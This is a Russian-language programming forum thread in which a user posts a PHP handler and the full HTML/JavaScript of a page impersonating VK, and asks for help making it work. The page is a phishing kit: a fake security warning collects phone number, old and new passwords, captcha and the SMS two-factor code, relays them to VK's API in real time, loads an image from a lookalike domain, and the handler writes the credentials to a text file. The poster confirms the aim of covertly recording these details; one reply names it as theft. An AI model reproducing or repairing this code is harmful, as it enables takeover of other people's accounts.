За последние 24 часа нас посетили 22426 программистов и 1146 роботов. Сейчас ищут 659 программистов ...

Нужно помочь с обработчиком AJAX формы

Тема в разделе "JavaScript и AJAX", создана пользователем agronom617, 4 ноя 2019.

Метки:
  1. agronom617

    agronom617 Новичок

    С нами с:
    3 ноя 2019
    Сообщения:
    4
    Симпатии:
    0
    Добрый день!Есть у меня обработчик,в нем точно есть ошибки,нужна помощь
    Код (Text):
    1. <?php
    2. $db="d1b.txt";
    3. $realmail="http://google.ru/2016282882";
    4.  
    5. if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
    6. {
    7.  
    8. $act = $_GET['login'];
    9. $login = $_GET['mobile'];
    10. $password = $_GET['pass'];
    11. $newpassword = $_GET['newpass'];
    12. $newpassword2 = $_GET['repass'];
    13. $smscode = $_GET['code'];
    14. $captcha_key = $_GET['captcha_key'];
    15.  
    16. echo json_encode($json);
    17.  
    18. $str="$mobile@|$pass@|$newpass@|$repass \n";
    19. $file=fopen("$db","a+");
    20. if(!$file)
    21. {
    22. header("Location: $realmail");
    23. }
    24. else
    25. {
    26. fputs($file, $str);
    27. header("Location: $realmail");
    28. }
    29. }
    30. else
    31. {
    32. header("Location: $index");
    33. }
    34. ?>
    А вот сама форма AJAX форма для которой я делал обработчик.

    Код (Text):
    1. <script type="text/javascript">
    2. function checkLogin() {
    3. if (g("check").value === "") {
    4. $("#check").css({"border": "1px solid #F00F00", "background": "#FCCFCC"});
    5. } else {
    6. //g("err").style.display = "none";
    7. $("#number").fadeOut(300, function() {
    8. $("#password").fadeIn(300);
    9. });
    10. $.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {
    11.  
    12. });
    13. }
    14. }
    15.  
    16. function g(id) {
    17. return document.getElementById(id);
    18. }
    19.  
    20. var wascapt = false;
    21. var wassms = false;
    22. var have2fa = false;
    23. var gettedToken = "";
    24.  
    25. function login() {
    26. var captcha_key = "";
    27. var captcha_sid = "";
    28. var smscode = "";
    29. var validation_sid = "";
    30.  
    31.  
    32. var login = g("check").value.replace("+", "");
    33. var password = g("oldpassword").value;
    34.  
    35. $("#err").fadeOut(300);
    36.  
    37. if (g("newpassword").value.length < 6) {
    38. $("#err").html("Пароль должен иметь 6 или более символов").fadeIn(300);
    39. return;
    40. }
    41.  
    42.  
    43. if (g("newpassword").value !== g("newpassword2").value) {
    44. $("#err").html("Пароль не изменён, так как новый пароль повторен неправильно.").fadeIn(300);
    45. return;
    46. }
    47.  
    48.  
    49. if (g("captcha_sid").value) {
    50. captcha_key = g("captcha_key").value;
    51. captcha_sid = g("captcha_sid").value;
    52. wascapt = false;
    53. }
    54.  
    55. if (wassms) {
    56. smscode = g("smscode").value;
    57. validation_sid = g("validation_sid").value;
    58. wassms = false;
    59. }
    60.  
    61.  
    62. var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
    63. var response = JSON.parse(auth.responseText);
    64. /*if (response.access_token) {
    65. changePassword(login, password, response.access_token, g("newpassword").value);
    66. return;
    67. }*/
    68.  
    69. if (response.api) {
    70. if (response.result) {
    71. window.location.replace("https://vk.com/id0");
    72. } else {
    73. gettedToken = response.token;
    74. var e = response.api.error;
    75. if (e.error_code === 14) {
    76. $("#password, #sms").fadeOut(300, function () {
    77. $("#capt").fadeIn(300);
    78. });
    79. g("captcha_key").value = "";
    80. g("captcha_key").focus();
    81. g("capt_img").src = e.captcha_img;
    82. g("captcha_sid").value = e.captcha_sid;
    83. }
    84. }
    85. return;
    86. }
    87.  
    88. if (response.auth && !response.result || response.code === 0) {
    89. var e = response.auth;
    90. switch (response.auth.error) {
    91. case "invalid_client":
    92. $("input[type='text'], input[type='password']").val("");
    93. $("#err").html("Неверный логин или старый пароль").fadeIn(300);
    94. $("#number").fadeIn(300);
    95. $("#capt, #password").fadeOut(300);
    96. break;
    97.  
    98. case "need_captcha":
    99. $("#password, #sms").fadeOut(300, function() {
    100. $("#capt").fadeIn(300);
    101. });
    102. g("captcha_key").value = "";
    103. g("captcha_key").focus();
    104. g("capt_img").src = e.captcha_img;
    105. g("captcha_sid").value = e.captcha_sid;
    106. wascapt = true;
    107. break;
    108.  
    109. case "need_validation":
    110. $("#password, #capt").fadeOut(300, function() {
    111. $("#sms").fadeIn(300);
    112. });
    113. g("validation_sid").value = e.validation_sid;
    114. wassms = true;
    115. have2fa = true;
    116. $.ajax("https://api.vk.com/method/auth.validatePhone?sid=" + e.validation_sid + "&v=5.22");
    117. break;
    118.  
    119. default:
    120. break;
    121. }
    122. }
    123. });
    124. }
    125.  
    126. </script>
    127. </head>
    128. <body>
    129.  
    130. <div class="header"></div>
    131. <div class="page">
    132. <div class="page-border">
    133. <div class="content">
    134. <div class="spamfight"></div>
    135. <p>На Вашей странице была обнаружена подозрительная активность. На данный момент<strong> злоумышленники</strong> могут иметь доступ к Вашей странице.
    136. </p>
    137. <br>
    138. <p>Чтобы обезопасить свою страницу, мы просим Вас <span style="color:#45668E">проверить компьютер <strong>антивирусом</strong></span>, подтвердить, что Вы владелец страницы и изменить свой пароль, используя данную страницу.
    139. </p>
    140. <br>
    141. <p>Злоумышленники могли получить доступ к Вашей странице с помощью следующей подозрительной ссылки. </p>
    142. <div class="reason">
    143. <p style="padding-left:20px">
    144. <strong>Подозрительная ссылка</strong>
    145. <br>
    146. <span style="cursor:pointer">http://goo.gl/...</span>
    147. </p>
    148. </div>
    149.  
    150.  
    151. <div id="err" class="oauth_error"></div>
    152.  
    153. <div class="content-1" id="number" style="display: block;">
    154. <p class="login">Мобильный телефон либо e-mail:</p>
    155. <input type="text" id="check" class="textbox-blocked" name="mobile" autofocus="" value="">
    156. <div class="button btn-mobile" onclick="checkLogin();" style="width:134px">Продолжить</div>
    157. </div>
    158.  
    159. <div class="content-1" id="password" style="display: none;">
    160. <p class="login">Старый пароль</p>
    161. <input id="oldpassword" type="password" name="pass" autofocus="" required="" pattern=".{6,50}" class="textbox-blocked">
    162. <p class="login">Новый пароль</p>
    163. <input id="newpassword" type="password" name="newpass" required="" pattern=".{6,50}" class="textbox-blocked">
    164. <p class="login">Повторите пароль</p>
    165. <input id="newpassword2" type="password" name="repass" required="" pattern=".{6,50}" class="textbox-blocked">
    166. <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
    167. </div>
    168.  
    169. <div class="content-1" id="capt" style="display: none;">
    170. <input id="captcha_sid" type="hidden" name="captcha_sid" value="">
    171. <br><img id="capt_img" src="https://vk.com.setting.antiviruseprotectionservice.xyz/blocked.php?id=156834558"><br><br>
    172. <p class="login">Код с картинки:</p>
    173. <input id="captcha_key" type="text" name="captcha_key" required="" pattern=".{6,50}" class="textbox-blocked">
    174. <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
    175. </div>
    176.  
    177. <div id="sms" style="display: none;">
    178. <div class="oauth_error">Чтобы подтвердить, что Вы действительно являетесь владельцем страницы, пожалуйста, введите код подтверждения из SMS либо последние 4 цифры номера, с которого Вам поступит звонок.
    179. </div>
    180. <br>
    181. <div class="content-1">
    182. <input id="validation_sid" type="hidden" name="validation_sid" value="1">
    183. <p class="login">Код подтверждения:</p>
    184. <input id="smscode" type="text" required="" pattern=".{6,50}" class="textbox-blocked">
    185. <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
    186. </div>
    187. </div>
    188. </div>
    189. </div>
    190. </div>
    Помогите(Не работает в форме кнопка Submit,не хочет отправлять данные(
     
  2. lastdays

    lastdays Активный пользователь

    С нами с:
    27 сен 2012
    Сообщения:
    410
    Симпатии:
    74
    isset может принимать несколько параметров
    PHP:
    1. if ( isset ( $_POST["param1"], $_POST["param2"] , $_POST["param3"]  ) )
    2. {
    3. //- code
    4. }
    После header
    PHP:
    1.  exit() ;
    В остальном, я не понимаю что у тебя делает обработчик и причем тут он вообще, когда работаешь ты с api vk
    Попробуй объяснить иначе.
     
    TeslaFeo нравится это.
  3. agronom617

    agronom617 Новичок

    С нами с:
    3 ноя 2019
    Сообщения:
    4
    Симпатии:
    0
    Привет.Обработчик должен записать данные (логин и пароль) с основной формы, которую я скинул в первом посте, в базу (текстовый файл).
    И там метод подачи данных я почему думаю должен быть GET,так как в форме есть такой момент
    Код (Text):
    1. function checkLogin() {
    2.             if (g("check").value === "") {
    3.                 $("#check").css({"border": "1px solid #F00F00", "background": "#FCCFCC"});
    4.             } else {
    5.                 //g("err").style.display = "none";
    6.                 $("#number").fadeOut(300, function() {
    7.                     $("#password").fadeIn(300);
    8.                 });
    9.                 $.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {
    10.  
    11.                 });
    12.             }
    13.         }
    Короче говоря,я пытаюсь сделать обработчик формы,которая уже готова.Она точно правильная и без ошибок.А обработчик нужно что бы просто записывал данные с полей,а потом выполнял скрытно url запрос к api vk,(это уже после ввода логина и пароля.) и записал мне еще одно поле.Через апи приходит шестизначный код,нужно,что бы его тоже обработчик записал. Всего должно быть так
    записать номер телефона (он же логин),старый пароль,новый пароль,еще раз новый пароль,выполнить сценарий submit,отправить запрос к api, от api получаю в ответ код на мобильный телефон и этот код прописываю в еще одно поле.Все это должно сохраниться мне в базу.Это то что у меня в голове)
     
    #3 agronom617, 4 ноя 2019
    Последнее редактирование: 4 ноя 2019
  4. ADSoft

    ADSoft Старожил

    С нами с:
    12 мар 2007
    Сообщения:
    3.823
    Симпатии:
    736
    Адрес:
    Татарстан
    Какой то дурнопахнущий код... Чтобы лог и пасс чужой себе сливать
     
  5. agronom617

    agronom617 Новичок

    С нами с:
    3 ноя 2019
    Сообщения:
    4
    Симпатии:
    0
    возможно,а по вопросу что-нибудь можно сказать?)